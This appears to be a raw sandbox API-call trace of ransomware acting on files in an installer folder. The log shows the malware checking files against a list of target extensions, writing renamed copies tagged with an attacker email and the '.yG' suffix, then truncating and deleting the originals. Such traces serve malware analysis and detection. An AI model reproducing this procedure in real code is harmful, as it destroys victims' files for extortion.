	[0042.617] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0042.617] lstrlenW (lpString=".1cd") returned 4
	[0042.617] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0042.617] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0042.617] lstrlenW (lpString=".jpg") returned 4
	[0042.617] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0042.617] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0042.617] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0042.617] lstrlenW (lpString=".doc") returned 4
	[0042.617] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0042.617] lstrlenW (lpString=".docx") returned 5
	[0042.617] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0042.617] lstrlenW (lpString=".pdf") returned 4
	[0042.617] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0042.617] lstrlenW (lpString=".xls") returned 4
	[0042.617] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0042.617] lstrlenW (lpString=".xlsx") returned 5
	[0042.617] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0042.617] lstrlenW (lpString=".ppt") returned 4
	[0042.617] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0042.618] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0042.618] lstrlenW (lpString=".zip") returned 4
	[0042.618] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0042.618] lstrlenW (lpString=".rar") returned 4
	[0042.618] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0042.618] lstrlenW (lpString=".bz2") returned 4
	[0042.618] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0042.618] lstrlenW (lpString=".7z") returned 3
	[0042.618] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0042.618] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0042.618] lstrlenW (lpString=".dbf") returned 4
	[0042.618] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0042.618] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0042.618] lstrlenW (lpString=".1cd") returned 4
	[0042.618] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0042.618] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0042.618] lstrlenW (lpString=".jpg") returned 4
	[0042.618] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0042.618] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0042.618] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0042.618] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0042.618] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=77022) returned 1
	[0042.618] CloseHandle (hObject=0x334) returned 1
	[0042.619] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 0x80
	[0042.619] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.619] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0042.619] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.619] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.619] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0042.619] GetLastError () returned 0x0
	[0042.619] ReadFile (in: hFile=0x334, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x12cde, lpOverlapped=0x0) returned 1
	[0042.710] WriteFile (in: hFile=0x344, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x12ce0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x12ce0, lpOverlapped=0x0) returned 1
	[0042.711] ReadFile (in: hFile=0x334, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.711] WriteFile (in: hFile=0x344, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0042.711] SetEndOfFile (hFile=0x344) returned 1
	[0042.712] CloseHandle (hObject=0x344) returned 1
	[0042.713] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.713] SetEndOfFile (hFile=0x334) returned 1
	[0042.724] CloseHandle (hObject=0x334) returned 1
	[0042.724] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.724] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 1
	[0042.725] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0042.725] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0042.725] lstrlenW (lpString=".doc") returned 4
	[0042.725] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0042.725] lstrlenW (lpString=".docx") returned 5
	[0042.725] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0042.725] lstrlenW (lpString=".pdf") returned 4
	[0042.725] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0042.725] lstrlenW (lpString=".xls") returned 4
	[0042.725] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0042.725] lstrlenW (lpString=".xlsx") returned 5
	[0042.725] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0042.725] lstrlenW (lpString=".ppt") returned 4
	[0042.725] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0042.725] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0042.725] lstrlenW (lpString=".zip") returned 4
	[0042.725] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0042.725] lstrlenW (lpString=".rar") returned 4
	[0042.725] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0042.725] lstrlenW (lpString=".bz2") returned 4
	[0042.725] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0042.725] lstrlenW (lpString=".7z") returned 3
	[0042.725] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0042.725] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0042.725] lstrlenW (lpString=".dbf") returned 4
	[0042.725] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0042.725] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0042.725] lstrlenW (lpString=".1cd") returned 4
	[0042.725] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0042.725] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0042.725] lstrlenW (lpString=".jpg") returned 4
	[0042.726] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0042.726] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0042.726] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0042.726] lstrlenW (lpString=".doc") returned 4
	[0042.726] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0042.726] lstrlenW (lpString=".docx") returned 5
	[0042.726] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0042.726] lstrlenW (lpString=".pdf") returned 4
	[0042.726] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0042.726] lstrlenW (lpString=".xls") returned 4
	[0042.726] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0042.726] lstrlenW (lpString=".xlsx") returned 5
	[0042.726] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0042.726] lstrlenW (lpString=".ppt") returned 4
	[0042.726] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0042.726] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0042.726] lstrlenW (lpString=".zip") returned 4
	[0042.726] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0042.726] lstrlenW (lpString=".rar") returned 4
	[0042.726] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0042.726] lstrlenW (lpString=".bz2") returned 4
	[0042.726] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0042.726] lstrlenW (lpString=".7z") returned 3
	[0042.726] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0042.726] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0042.726] lstrlenW (lpString=".dbf") returned 4
	[0042.726] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0042.726] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0042.726] lstrlenW (lpString=".1cd") returned 4
	[0042.726] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0042.726] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0042.726] lstrlenW (lpString=".jpg") returned 4
	[0042.726] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0042.727] lstrcmpiW (lpString1=".rtf", lpString2=".yG") returned -1
	[0042.727] lstrlenW (lpString="eula.rtf") returned 8
	[0042.727] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0042.727] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=4254) returned 1
	[0042.727] CloseHandle (hObject=0x334) returned 1
	[0042.727] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 0x80
	[0042.727] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.727] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0042.727] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.727] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.727] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0042.727] GetLastError () returned 0x0
	[0042.727] ReadFile (in: hFile=0x334, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x109e, lpOverlapped=0x0) returned 1
	[0042.848] WriteFile (in: hFile=0x344, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x10a0, lpOverlapped=0x0) returned 1
	[0042.850] ReadFile (in: hFile=0x334, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.850] WriteFile (in: hFile=0x344, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0042.850] SetEndOfFile (hFile=0x344) returned 1
	[0042.850] CloseHandle (hObject=0x344) returned 1
	[0042.851] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.851] SetEndOfFile (hFile=0x334) returned 1
	[0042.851] CloseHandle (hObject=0x334) returned 1
	[0042.851] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.852] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 1
	[0042.852] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0042.852] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0042.852] lstrlenW (lpString=".doc") returned 4
	[0042.852] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0042.852] lstrlenW (lpString=".docx") returned 5
	[0042.852] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0042.852] lstrlenW (lpString=".pdf") returned 4
	[0042.852] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0042.852] lstrlenW (lpString=".xls") returned 4
	[0042.852] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0042.852] lstrlenW (lpString=".xlsx") returned 5
	[0042.852] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0042.852] lstrlenW (lpString=".ppt") returned 4
	[0042.852] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0042.852] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0042.852] lstrlenW (lpString=".zip") returned 4
	[0042.852] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0042.852] lstrlenW (lpString=".rar") returned 4
	[0042.852] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0042.852] lstrlenW (lpString=".bz2") returned 4
	[0042.853] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0042.853] lstrlenW (lpString=".7z") returned 3
	[0042.853] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0042.853] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0042.853] lstrlenW (lpString=".dbf") returned 4
	[0042.853] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0042.853] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0042.853] lstrlenW (lpString=".1cd") returned 4
	[0042.853] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0042.853] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0042.853] lstrlenW (lpString=".jpg") returned 4
	[0042.853] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0042.853] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0042.853] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0042.853] lstrlenW (lpString=".doc") returned 4
	[0042.853] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0042.853] lstrlenW (lpString=".docx") returned 5
	[0042.853] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0042.853] lstrlenW (lpString=".pdf") returned 4
	[0042.853] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0042.853] lstrlenW (lpString=".xls") returned 4
	[0042.853] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0042.853] lstrlenW (lpString=".xlsx") returned 5
	[0042.853] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0042.853] lstrlenW (lpString=".ppt") returned 4
	[0042.853] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0042.853] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0042.853] lstrlenW (lpString=".zip") returned 4
	[0042.853] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0042.853] lstrlenW (lpString=".rar") returned 4
	[0042.853] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0042.853] lstrlenW (lpString=".bz2") returned 4
	[0042.853] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0042.853] lstrlenW (lpString=".7z") returned 3
	[0042.853] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0042.853] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0042.853] lstrlenW (lpString=".dbf") returned 4
	[0042.854] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0042.854] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0042.854] lstrlenW (lpString=".1cd") returned 4
	[0042.854] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0042.854] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35
	[0042.854] lstrlenW (lpString=".jpg") returned 4
	[0042.854] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0042.854] lstrcmpiW (lpString1=".rtf", lpString2=".yG") returned -1
	[0042.854] lstrlenW (lpString="eula.rtf") returned 8
	[0042.854] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0042.871] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=10125) returned 1
	[0042.871] CloseHandle (hObject=0x2fc) returned 1
	[0042.871] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 0x80
	[0042.871] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.871] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0042.871] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.871] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.871] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0042.872] GetLastError () returned 0x0
	[0042.872] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x278d, lpOverlapped=0x0) returned 1
	[0042.898] WriteFile (in: hFile=0x2f0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x2790, lpOverlapped=0x0) returned 1
	[0042.899] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.899] WriteFile (in: hFile=0x2f0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0042.899] SetEndOfFile (hFile=0x2f0) returned 1
	[0042.899] CloseHandle (hObject=0x2f0) returned 1
	[0042.900] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.900] SetEndOfFile (hFile=0x2fc) returned 1
	[0042.901] CloseHandle (hObject=0x2fc) returned 1
	[0042.901] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.901] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 1
	[0042.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0042.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0042.901] lstrlenW (lpString=".doc") returned 4
	[0042.901] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0042.902] lstrlenW (lpString=".docx") returned 5
	[0042.902] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0042.902] lstrlenW (lpString=".pdf") returned 4
	[0042.902] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0042.902] lstrlenW (lpString=".xls") returned 4
	[0042.902] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0042.902] lstrlenW (lpString=".xlsx") returned 5
	[0042.902] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0042.902] lstrlenW (lpString=".ppt") returned 4
	[0042.902] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0042.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0042.902] lstrlenW (lpString=".zip") returned 4
	[0042.902] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0042.902] lstrlenW (lpString=".rar") returned 4
	[0042.902] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0042.902] lstrlenW (lpString=".bz2") returned 4
	[0042.902] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0042.902] lstrlenW (lpString=".7z") returned 3
	[0042.902] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0042.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0042.902] lstrlenW (lpString=".dbf") returned 4
	[0042.902] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0042.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0042.902] lstrlenW (lpString=".1cd") returned 4
	[0042.902] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0042.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0042.902] lstrlenW (lpString=".jpg") returned 4
	[0042.902] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0042.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0042.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0042.902] lstrlenW (lpString=".doc") returned 4
	[0042.902] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0042.902] lstrlenW (lpString=".docx") returned 5
	[0042.902] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0042.903] lstrlenW (lpString=".pdf") returned 4
	[0042.903] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0042.903] lstrlenW (lpString=".xls") returned 4
	[0042.903] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0042.903] lstrlenW (lpString=".xlsx") returned 5
	[0042.903] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0042.903] lstrlenW (lpString=".ppt") returned 4
	[0042.903] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0042.903] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0042.903] lstrlenW (lpString=".zip") returned 4
	[0042.903] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0042.903] lstrlenW (lpString=".rar") returned 4
	[0042.903] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0042.903] lstrlenW (lpString=".bz2") returned 4
	[0042.903] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0042.903] lstrlenW (lpString=".7z") returned 3
	[0042.903] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0042.903] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0042.903] lstrlenW (lpString=".dbf") returned 4
	[0042.903] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
